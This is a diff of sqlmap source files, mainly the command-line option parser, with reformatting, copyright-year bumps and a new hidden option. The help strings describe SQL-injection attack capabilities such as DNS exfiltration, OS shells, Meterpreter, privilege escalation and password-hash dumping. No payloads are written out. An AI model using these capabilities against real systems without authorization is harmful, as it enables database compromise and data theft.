@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

-    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
-            "\"%s\"" % _ if " " in _ else _)
-
+    usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
    parser = OptionParser(usage=usage)

    try:
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
        request.add_option("--load-cookies", dest="loadCookies",
                           help="File containing cookies in Netscape/wget format")

-        request.add_option("--drop-set-cookie", dest="dropSetCookie",
-                           action="store_true",
+        request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
                           help="Ignore Set-Cookie header from response")

        request.add_option("--user-agent", dest="agent",
                           help="HTTP User-Agent header value")

-        request.add_option("--random-agent", dest="randomAgent",
-                           action="store_true",
+        request.add_option("--random-agent", dest="randomAgent", action="store_true",
                           help="Use randomly selected HTTP User-Agent header value")

        request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
                           help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")

        request.add_option("--auth-type", dest="authType",
-                           help="HTTP authentication type "
-                                "(Basic, Digest, NTLM or PKI)")
+                           help="HTTP authentication type (Basic, Digest, NTLM or PKI)")

        request.add_option("--auth-cred", dest="authCred",
-                           help="HTTP authentication credentials "
-                                "(name:password)")
+                           help="HTTP authentication credentials (name:password)")

        request.add_option("--auth-file", dest="authFile",
                           help="HTTP authentication PEM cert/private key file")

        request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                          help="Ignore HTTP error code (e.g. 401)")
+                           help="Ignore HTTP error code (e.g. 401)")

        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                           help="Ignore system default proxy settings")

        request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
-                          help="Ignore redirection attempts")
+                           help="Ignore redirection attempts")

        request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
-                          help="Ignore connection timeouts")
+                           help="Ignore connection timeouts")

        request.add_option("--proxy", dest="proxy",
                           help="Use a proxy to connect to the target URL")

        request.add_option("--proxy-cred", dest="proxyCred",
-                           help="Proxy authentication credentials "
-                                "(name:password)")
+                           help="Proxy authentication credentials (name:password)")

        request.add_option("--proxy-file", dest="proxyFile",
                           help="Load proxy list from a file")

-        request.add_option("--tor", dest="tor",
-                                  action="store_true",
-                                  help="Use Tor anonymity network")
+        request.add_option("--tor", dest="tor", action="store_true",
+                           help="Use Tor anonymity network")

        request.add_option("--tor-port", dest="torPort",
-                                  help="Set Tor proxy port other than default")
+                           help="Set Tor proxy port other than default")

        request.add_option("--tor-type", dest="torType",
-                                  help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
+                           help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")

-        request.add_option("--check-tor", dest="checkTor",
-                                  action="store_true",
-                                  help="Check to see if Tor is used properly")
+        request.add_option("--check-tor", dest="checkTor", action="store_true",
+                           help="Check to see if Tor is used properly")

        request.add_option("--delay", dest="delay", type="float",
                           help="Delay in seconds between each HTTP request")

        request.add_option("--timeout", dest="timeout", type="float",
-                           help="Seconds to wait before timeout connection "
-                                "(default %d)" % defaults.timeout)
+                           help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)

        request.add_option("--retries", dest="retries", type="int",
-                           help="Retries when the connection timeouts "
-                                "(default %d)" % defaults.retries)
+                           help="Retries when the connection timeouts (default %d)" % defaults.retries)

        request.add_option("--randomize", dest="rParam",
                           help="Randomly change value for given parameter(s)")
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
        request.add_option("--safe-freq", dest="safeFreq", type="int",
                           help="Test requests between two visits to a given safe URL")

-        request.add_option("--skip-urlencode", dest="skipUrlEncode",
-                           action="store_true",
+        request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
                           help="Skip URL encoding of payload data")

        request.add_option("--csrf-token", dest="csrfToken",
@@ -221,44 +209,36 @@ def cmdLineParser(argv=None):
        request.add_option("--csrf-url", dest="csrfUrl",
                           help="URL address to visit to extract anti-CSRF token")

-        request.add_option("--force-ssl", dest="forceSSL",
-                           action="store_true",
+        request.add_option("--force-ssl", dest="forceSSL", action="store_true",
                           help="Force usage of SSL/HTTPS")

-        request.add_option("--hpp", dest="hpp",
-                                  action="store_true",
-                                  help="Use HTTP parameter pollution method")
+        request.add_option("--hpp", dest="hpp", action="store_true",
+                           help="Use HTTP parameter pollution method")

        request.add_option("--eval", dest="evalCode",
                           help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")

        # Optimization options
-        optimization = OptionGroup(parser, "Optimization", "These "
-                               "options can be used to optimize the "
-                               "performance of sqlmap")
+        optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")

-        optimization.add_option("-o", dest="optimize",
-                                 action="store_true",
-                                 help="Turn on all optimization switches")
+        optimization.add_option("-o", dest="optimize", action="store_true",
+                                help="Turn on all optimization switches")

        optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
-                          help="Predict common queries output")
+                                help="Predict common queries output")

        optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
-                           help="Use persistent HTTP(s) connections")
+                                help="Use persistent HTTP(s) connections")

        optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
-                          help="Retrieve page length without actual HTTP response body")
+                                help="Retrieve page length without actual HTTP response body")

        optimization.add_option("--threads", dest="threads", type="int",
-                           help="Max number of concurrent HTTP(s) "
+                                help="Max number of concurrent HTTP(s) "
                                "requests (default %d)" % defaults.threads)

        # Injection options
-        injection = OptionGroup(parser, "Injection", "These options can be "
-                                "used to specify which parameters to test "
-                                "for, provide custom injection payloads and "
-                                "optional tampering scripts")
+        injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")

        injection.add_option("-p", dest="testParameter",
                             help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
                             help="Skip testing parameters that not appear to be dynamic")

        injection.add_option("--param-exclude", dest="paramExclude",
-                           help="Regexp to exclude parameters from testing (e.g. \"ses\")")
+                             help="Regexp to exclude parameters from testing (e.g. \"ses\")")

        injection.add_option("--dbms", dest="dbms",
                             help="Force back-end DBMS to this value")

        injection.add_option("--dbms-cred", dest="dbmsCred",
-                            help="DBMS authentication credentials (user:password)")
+                             help="DBMS authentication credentials (user:password)")

        injection.add_option("--os", dest="os",
-                             help="Force back-end DBMS operating system "
-                                  "to this value")
+                             help="Force back-end DBMS operating system to this value")

-        injection.add_option("--invalid-bignum", dest="invalidBignum",
-                             action="store_true",
+        injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
                             help="Use big numbers for invalidating values")

-        injection.add_option("--invalid-logical", dest="invalidLogical",
-                             action="store_true",
+        injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
                             help="Use logical operations for invalidating values")

-        injection.add_option("--invalid-string", dest="invalidString",
-                             action="store_true",
+        injection.add_option("--invalid-string", dest="invalidString", action="store_true",
                             help="Use random strings for invalidating values")

-        injection.add_option("--no-cast", dest="noCast",
-                             action="store_true",
+        injection.add_option("--no-cast", dest="noCast", action="store_true",
                             help="Turn off payload casting mechanism")

-        injection.add_option("--no-escape", dest="noEscape",
-                             action="store_true",
+        injection.add_option("--no-escape", dest="noEscape", action="store_true",
                             help="Turn off string escaping mechanism")

        injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
                             help="Use given script(s) for tampering injection data")

        # Detection options
-        detection = OptionGroup(parser, "Detection", "These options can be "
-                                "used to customize the detection phase")
+        detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")

        detection.add_option("--level", dest="level", type="int",
-                             help="Level of tests to perform (1-5, "
-                                  "default %d)" % defaults.level)
+                             help="Level of tests to perform (1-5, default %d)" % defaults.level)

        detection.add_option("--risk", dest="risk", type="int",
-                             help="Risk of tests to perform (1-3, "
-                                  "default %d)" % defaults.risk)
+                             help="Risk of tests to perform (1-3, default %d)" % defaults.risk)

        detection.add_option("--string", dest="string",
-                             help="String to match when "
-                                  "query is evaluated to True")
+                             help="String to match when query is evaluated to True")

        detection.add_option("--not-string", dest="notString",
-                             help="String to match when "
-                                  "query is evaluated to False")
+                             help="String to match when query is evaluated to False")

        detection.add_option("--regexp", dest="regexp",
-                             help="Regexp to match when "
-                                  "query is evaluated to True")
+                             help="Regexp to match when query is evaluated to True")

        detection.add_option("--code", dest="code", type="int",
-                             help="HTTP code to match when "
-                                  "query is evaluated to True")
+                             help="HTTP code to match when query is evaluated to True")

-        detection.add_option("--text-only", dest="textOnly",
-                             action="store_true",
+        detection.add_option("--text-only", dest="textOnly", action="store_true",
                             help="Compare pages based only on the textual content")

-        detection.add_option("--titles", dest="titles",
-                             action="store_true",
+        detection.add_option("--titles", dest="titles", action="store_true",
                             help="Compare pages based only on their titles")

        # Techniques options
-        techniques = OptionGroup(parser, "Techniques", "These options can be "
-                                 "used to tweak testing of specific SQL "
-                                 "injection techniques")
+        techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")

        techniques.add_option("--technique", dest="tech",
-                              help="SQL injection techniques to use "
-                                   "(default \"%s\")" % defaults.tech)
+                              help="SQL injection techniques to use (default \"%s\")" % defaults.tech)

-        techniques.add_option("--time-sec", dest="timeSec",
-                              type="int",
-                              help="Seconds to delay the DBMS response "
-                                   "(default %d)" % defaults.timeSec)
+        techniques.add_option("--time-sec", dest="timeSec", type="int",
+                              help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)

        techniques.add_option("--union-cols", dest="uCols",
                              help="Range of columns to test for UNION query SQL injection")
@@ -374,58 +334,45 @@ def cmdLineParser(argv=None):
                              help="Domain name used for DNS exfiltration attack")

        techniques.add_option("--second-order", dest="secondOrder",
-                             help="Resulting page URL searched for second-order "
-                                  "response")
+                              help="Resulting page URL searched for second-order response")

        # Fingerprint options
        fingerprint = OptionGroup(parser, "Fingerprint")

-        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
-                               action="store_true",
+        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
                               help="Perform an extensive DBMS version fingerprint")

        # Enumeration options
-        enumeration = OptionGroup(parser, "Enumeration", "These options can "
-                                  "be used to enumerate the back-end database "
-                                  "management system information, structure "
-                                  "and data contained in the tables. Moreover "
-                                  "you can run your own SQL statements")
+        enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")

-        enumeration.add_option("-a", "--all", dest="getAll",
-                               action="store_true", help="Retrieve everything")
+        enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
+                               help="Retrieve everything")

-        enumeration.add_option("-b", "--banner", dest="getBanner",
-                               action="store_true", help="Retrieve DBMS banner")
+        enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
+                               help="Retrieve DBMS banner")

-        enumeration.add_option("--current-user", dest="getCurrentUser",
-                               action="store_true",
+        enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
                               help="Retrieve DBMS current user")

-        enumeration.add_option("--current-db", dest="getCurrentDb",
-                               action="store_true",
+        enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
                               help="Retrieve DBMS current database")

-        enumeration.add_option("--hostname", dest="getHostname",
-                               action="store_true",
+        enumeration.add_option("--hostname", dest="getHostname", action="store_true",
                               help="Retrieve DBMS server hostname")

-        enumeration.add_option("--is-dba", dest="isDba",
-                               action="store_true",
+        enumeration.add_option("--is-dba", dest="isDba", action="store_true",
                               help="Detect if the DBMS current user is DBA")

        enumeration.add_option("--users", dest="getUsers", action="store_true",
                               help="Enumerate DBMS users")

-        enumeration.add_option("--passwords", dest="getPasswordHashes",
-                               action="store_true",
+        enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
                               help="Enumerate DBMS users password hashes")

-        enumeration.add_option("--privileges", dest="getPrivileges",
-                               action="store_true",
+        enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
                               help="Enumerate DBMS users privileges")

-        enumeration.add_option("--roles", dest="getRoles",
-                               action="store_true",
+        enumeration.add_option("--roles", dest="getRoles", action="store_true",
                               help="Enumerate DBMS users roles")

        enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -464,16 +411,14 @@ def cmdLineParser(argv=None):
        enumeration.add_option("-C", dest="col",
                               help="DBMS database table column(s) to enumerate")

-        enumeration.add_option("-X", dest="excludeCol",
-                               help="DBMS database table column(s) to not enumerate")
+        enumeration.add_option("-X", dest="exclude",
+                               help="DBMS database identifier(s) to not enumerate")

        enumeration.add_option("-U", dest="user",
                               help="DBMS user to enumerate")

-        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
-                               action="store_true",
-                               help="Exclude DBMS system databases when "
-                                    "enumerating tables")
+        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
+                               help="Exclude DBMS system databases when enumerating tables")

        enumeration.add_option("--pivot-column", dest="pivotColumn",
                               help="Pivot column name")
@@ -496,28 +441,23 @@ def cmdLineParser(argv=None):
        enumeration.add_option("--sql-query", dest="query",
                               help="SQL statement to be executed")

-        enumeration.add_option("--sql-shell", dest="sqlShell",
-                               action="store_true",
+        enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
                               help="Prompt for an interactive SQL shell")

        enumeration.add_option("--sql-file", dest="sqlFile",
                               help="Execute SQL statements from given file(s)")

        # Brute force options
-        brute = OptionGroup(parser, "Brute force", "These "
-                          "options can be used to run brute force "
-                          "checks")
+        brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")

        brute.add_option("--common-tables", dest="commonTables", action="store_true",
-                               help="Check existence of common tables")
+                         help="Check existence of common tables")

        brute.add_option("--common-columns", dest="commonColumns", action="store_true",
-                               help="Check existence of common columns")
+                         help="Check existence of common columns")

        # User-defined function options
-        udf = OptionGroup(parser, "User-defined function injection", "These "
-                          "options can be used to create custom user-defined "
-                          "functions")
+        udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")

        udf.add_option("--udf-inject", dest="udfInject", action="store_true",
                       help="Inject custom user-defined functions")
@@ -526,167 +466,131 @@ def cmdLineParser(argv=None):
                       help="Local path of the shared library")

        # File system options
-        filesystem = OptionGroup(parser, "File system access", "These options "
-                                 "can be used to access the back-end database "
-                                 "management system underlying file system")
+        filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")

        filesystem.add_option("--file-read", dest="rFile",
-                              help="Read a file from the back-end DBMS "
-                                   "file system")
+                              help="Read a file from the back-end DBMS file system")

        filesystem.add_option("--file-write", dest="wFile",
-                              help="Write a local file on the back-end "
-                                   "DBMS file system")
+                              help="Write a local file on the back-end DBMS file system")

        filesystem.add_option("--file-dest", dest="dFile",
-                              help="Back-end DBMS absolute filepath to "
-                                   "write to")
+                              help="Back-end DBMS absolute filepath to write to")

        # Takeover options
-        takeover = OptionGroup(parser, "Operating system access", "These "
-                               "options can be used to access the back-end "
-                               "database management system underlying "
-                               "operating system")
+        takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")

        takeover.add_option("--os-cmd", dest="osCmd",
                            help="Execute an operating system command")

-        takeover.add_option("--os-shell", dest="osShell",
-                            action="store_true",
-                            help="Prompt for an interactive operating "
-                                 "system shell")
+        takeover.add_option("--os-shell", dest="osShell", action="store_true",
+                            help="Prompt for an interactive operating system shell")

-        takeover.add_option("--os-pwn", dest="osPwn",
-                            action="store_true",
-                            help="Prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
+        takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
+                            help="Prompt for an OOB shell, Meterpreter or VNC")

-        takeover.add_option("--os-smbrelay", dest="osSmb",
-                            action="store_true",
-                            help="One click prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
+        takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
+                            help="One click prompt for an OOB shell, Meterpreter or VNC")

-        takeover.add_option("--os-bof", dest="osBof",
-                            action="store_true",
+        takeover.add_option("--os-bof", dest="osBof", action="store_true",
                            help="Stored procedure buffer overflow "
                                 "exploitation")

-        takeover.add_option("--priv-esc", dest="privEsc",
-                            action="store_true",
+        takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
                            help="Database process user privilege escalation")

        takeover.add_option("--msf-path", dest="msfPath",
-                            help="Local path where Metasploit Framework "
-                                 "is installed")
+                            help="Local path where Metasploit Framework is installed")

        takeover.add_option("--tmp-path", dest="tmpPath",
-                            help="Remote absolute path of temporary files "
-                                 "directory")
+                            help="Remote absolute path of temporary files directory")

        # Windows registry options
-        windows = OptionGroup(parser, "Windows registry access", "These "
-                               "options can be used to access the back-end "
-                               "database management system Windows "
-                               "registry")
+        windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")

-        windows.add_option("--reg-read", dest="regRead",
-                            action="store_true",
-                            help="Read a Windows registry key value")
+        windows.add_option("--reg-read", dest="regRead", action="store_true",
+                           help="Read a Windows registry key value")

-        windows.add_option("--reg-add", dest="regAdd",
-                            action="store_true",
-                            help="Write a Windows registry key value data")
+        windows.add_option("--reg-add", dest="regAdd", action="store_true",
+                           help="Write a Windows registry key value data")

-        windows.add_option("--reg-del", dest="regDel",
-                            action="store_true",
-                            help="Delete a Windows registry key value")
+        windows.add_option("--reg-del", dest="regDel", action="store_true",
+                           help="Delete a Windows registry key value")

        windows.add_option("--reg-key", dest="regKey",
-                            help="Windows registry key")
+                           help="Windows registry key")

        windows.add_option("--reg-value", dest="regVal",
-                            help="Windows registry key value")
+                           help="Windows registry key value")

        windows.add_option("--reg-data", dest="regData",
-                            help="Windows registry key value data")
+                           help="Windows registry key value data")

        windows.add_option("--reg-type", dest="regType",
-                            help="Windows registry key value type")
+                           help="Windows registry key value type")

        # General options
-        general = OptionGroup(parser, "General", "These options can be used "
-                             "to set some general working parameters")
+        general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")

        general.add_option("-s", dest="sessionFile",
-                            help="Load session from a stored (.sqlite) file")
+                           help="Load session from a stored (.sqlite) file")

        general.add_option("-t", dest="trafficFile",
-                            help="Log all HTTP traffic into a "
-                            "textual file")
+                           help="Log all HTTP traffic into a textual file")

-        general.add_option("--batch", dest="batch",
-                            action="store_true",
-                            help="Never ask for user input, use the default behaviour")
+        general.add_option("--batch", dest="batch", action="store_true",
+                           help="Never ask for user input, use the default behavior")

        general.add_option("--binary-fields", dest="binaryFields",
-                          help="Result fields having binary values (e.g. \"digest\")")
+                           help="Result fields having binary values (e.g. \"digest\")")

-        general.add_option("--check-internet", dest="checkInternet",
-                            action="store_true",
-                            help="Check Internet connection before assessing the target")
+        general.add_option("--check-internet", dest="checkInternet", action="store_true",
+                           help="Check Internet connection before assessing the target")

        general.add_option("--crawl", dest="crawlDepth", type="int",
-                            help="Crawl the website starting from the target URL")
+                           help="Crawl the website starting from the target URL")

        general.add_option("--crawl-exclude", dest="crawlExclude",
                           help="Regexp to exclude pages from crawling (e.g. \"logout\")")

        general.add_option("--csv-del", dest="csvDel",
-                                  help="Delimiting character used in CSV output "
-                                  "(default \"%s\")" % defaults.csvDel)
+                           help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)

        general.add_option("--charset", dest="charset",
                           help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")

        general.add_option("--dump-format", dest="dumpFormat",
-                                  help="Format of dumped data (CSV (default), HTML or SQLITE)")
+                           help="Format of dumped data (CSV (default), HTML or SQLITE)")

        general.add_option("--encoding", dest="encoding",
-                            help="Character encoding used for data retrieval (e.g. GBK)")
+                           help="Character encoding used for data retrieval (e.g. GBK)")

-        general.add_option("--eta", dest="eta",
-                            action="store_true",
-                            help="Display for each output the estimated time of arrival")
+        general.add_option("--eta", dest="eta", action="store_true",
+                           help="Display for each output the estimated time of arrival")

-        general.add_option("--flush-session", dest="flushSession",
-                            action="store_true",
-                            help="Flush session files for current target")
+        general.add_option("--flush-session", dest="flushSession", action="store_true",
+                           help="Flush session files for current target")

-        general.add_option("--forms", dest="forms",
-                                  action="store_true",
-                                  help="Parse and test forms on target URL")
+        general.add_option("--forms", dest="forms", action="store_true",
+                           help="Parse and test forms on target URL")

-        general.add_option("--fresh-queries", dest="freshQueries",
-                            action="store_true",
-                            help="Ignore query results stored in session file")
+        general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
+                           help="Ignore query results stored in session file")

        general.add_option("--har", dest="harFile",
                           help="Log all HTTP traffic into a HAR file")

-        general.add_option("--hex", dest="hexConvert",
-                            action="store_true",
-                            help="Use DBMS hex function(s) for data retrieval")
+        general.add_option("--hex", dest="hexConvert", action="store_true",
+                           help="Use DBMS hex function(s) for data retrieval")

-        general.add_option("--output-dir", dest="outputDir",
-                            action="store",
-                            help="Custom output directory path")
+        general.add_option("--output-dir", dest="outputDir", action="store",
+                           help="Custom output directory path")

-        general.add_option("--parse-errors", dest="parseErrors",
-                                  action="store_true",
-                                  help="Parse and display DBMS error messages from responses")
+        general.add_option("--parse-errors", dest="parseErrors", action="store_true",
+                           help="Parse and display DBMS error messages from responses")

        general.add_option("--save", dest="saveConfig",
-                            help="Save options to a configuration INI file")
+                           help="Save options to a configuration INI file")

        general.add_option("--scope", dest="scope",
                           help="Regexp to filter targets from provided proxy log")
@@ -697,77 +601,65 @@ def cmdLineParser(argv=None):
        general.add_option("--test-skip", dest="testSkip",
                           help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")

-        general.add_option("--update", dest="updateAll",
-                            action="store_true",
-                            help="Update sqlmap")
+        general.add_option("--update", dest="updateAll", action="store_true",
+                           help="Update sqlmap")

        # Miscellaneous options
        miscellaneous = OptionGroup(parser, "Miscellaneous")

        miscellaneous.add_option("-z", dest="mnemonics",
-                               help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
+                                 help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")

        miscellaneous.add_option("--alert", dest="alert",
-                                  help="Run host OS command(s) when SQL injection is found")
+                                 help="Run host OS command(s) when SQL injection is found")

        miscellaneous.add_option("--answers", dest="answers",
-                                  help="Set question answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set question answers (e.g. \"quit=N,follow=N\")")

        miscellaneous.add_option("--beep", dest="beep", action="store_true",
-                                  help="Beep on question and/or when SQL injection is found")
+                                 help="Beep on question and/or when SQL injection is found")

-        miscellaneous.add_option("--cleanup", dest="cleanup",
-                                  action="store_true",
-                                  help="Clean up the DBMS from sqlmap specific "
-                                  "UDF and tables")
+        miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
+                                 help="Clean up the DBMS from sqlmap specific UDF and tables")

-        miscellaneous.add_option("--dependencies", dest="dependencies",
-                                  action="store_true",
-                                  help="Check for missing (non-core) sqlmap dependencies")
+        miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
+                                 help="Check for missing (non-core) sqlmap dependencies")

-        miscellaneous.add_option("--disable-coloring", dest="disableColoring",
-                                  action="store_true",
-                                  help="Disable console output coloring")
+        miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
+                                 help="Disable console output coloring")

        miscellaneous.add_option("--gpage", dest="googlePage", type="int",
-                                  help="Use Google dork results from specified page number")
+                                 help="Use Google dork results from specified page number")

-        miscellaneous.add_option("--identify-waf", dest="identifyWaf",
-                                  action="store_true",
-                                  help="Make a thorough testing for a WAF/IPS/IDS protection")
+        miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
+                                 help="Make a thorough testing for a WAF/IPS/IDS protection")

-        miscellaneous.add_option("--mobile", dest="mobile",
-                                  action="store_true",
-                                  help="Imitate smartphone through HTTP User-Agent header")
+        miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
+                                 help="Imitate smartphone through HTTP User-Agent header")

-        miscellaneous.add_option("--offline", dest="offline",
-                                  action="store_true",
-                                  help="Work in offline mode (only use session data)")
+        miscellaneous.add_option("--offline", dest="offline", action="store_true",
+                                 help="Work in offline mode (only use session data)")

-        miscellaneous.add_option("--purge-output", dest="purgeOutput",
-                                  action="store_true",
-                                  help="Safely remove all content from output directory")
+        miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
+                                 help="Safely remove all content from output directory")

-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
-                                  action="store_true",
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
+        miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
+                                 help="Skip heuristic detection of WAF/IPS/IDS protection")

-        miscellaneous.add_option("--smart", dest="smart",
-                                  action="store_true",
-                                  help="Conduct thorough tests only if positive heuristic(s)")
+        miscellaneous.add_option("--smart", dest="smart", action="store_true",
+                                 help="Conduct thorough tests only if positive heuristic(s)")

        miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                                  help="Prompt for an interactive sqlmap shell")
+                                 help="Prompt for an interactive sqlmap shell")

        miscellaneous.add_option("--tmp-dir", dest="tmpDir",
-                                  help="Local directory for storing temporary files")
+                                 help="Local directory for storing temporary files")

        miscellaneous.add_option("--web-root", dest="webRoot",
-                                  help="Web server document root directory (e.g. \"/var/www\")")
+                                 help="Web server document root directory (e.g. \"/var/www\")")

-        miscellaneous.add_option("--wizard", dest="wizard",
-                                  action="store_true",
-                                  help="Simple wizard interface for beginner users")
+        miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
+                                 help="Simple wizard interface for beginner users")

        # Hidden and/or experimental options
        parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -791,6 +683,9 @@ def cmdLineParser(argv=None):
        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

+        parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
+                          help=SUPPRESS_HELP)
+
        parser.add_option("--force-threads", dest="forceThreads", action="store_true",
                          help=SUPPRESS_HELP)

@@ -909,7 +804,7 @@ def cmdLineParser(argv=None):
                for arg in shlex.split(command):
                    argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
            except ValueError, ex:
-                raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
+                raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)

        for i in xrange(len(argv)):
            if argv[i] == "-hh":
@@ -976,9 +871,7 @@ def cmdLineParser(argv=None):
        if args.dummy:
            args.url = args.url or DUMMY_URL

-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
-            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
-            args.purgeOutput, args.sitemapUrl)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
            errMsg += "use -h for basic or -hh for advanced help\n"
            parser.error(errMsg)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -24,18 +24,16 @@ def headersParser(headers):
    if not kb.headerPaths:
        kb.headerPaths = {
            "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
-            "server":                          os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
-            "servlet-engine":                  os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
-            "set-cookie":                      os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
-            "x-aspnet-version":                os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
-            "x-powered-by":                    os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
+            "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
+            "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
+            "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
+            "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
+            "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
        }

-    for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
+    for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
        value = headers[header]
